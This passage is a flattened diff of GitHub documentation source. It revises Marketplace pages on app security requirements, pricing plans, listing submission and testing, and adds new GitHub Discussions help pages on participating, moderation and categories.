We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% 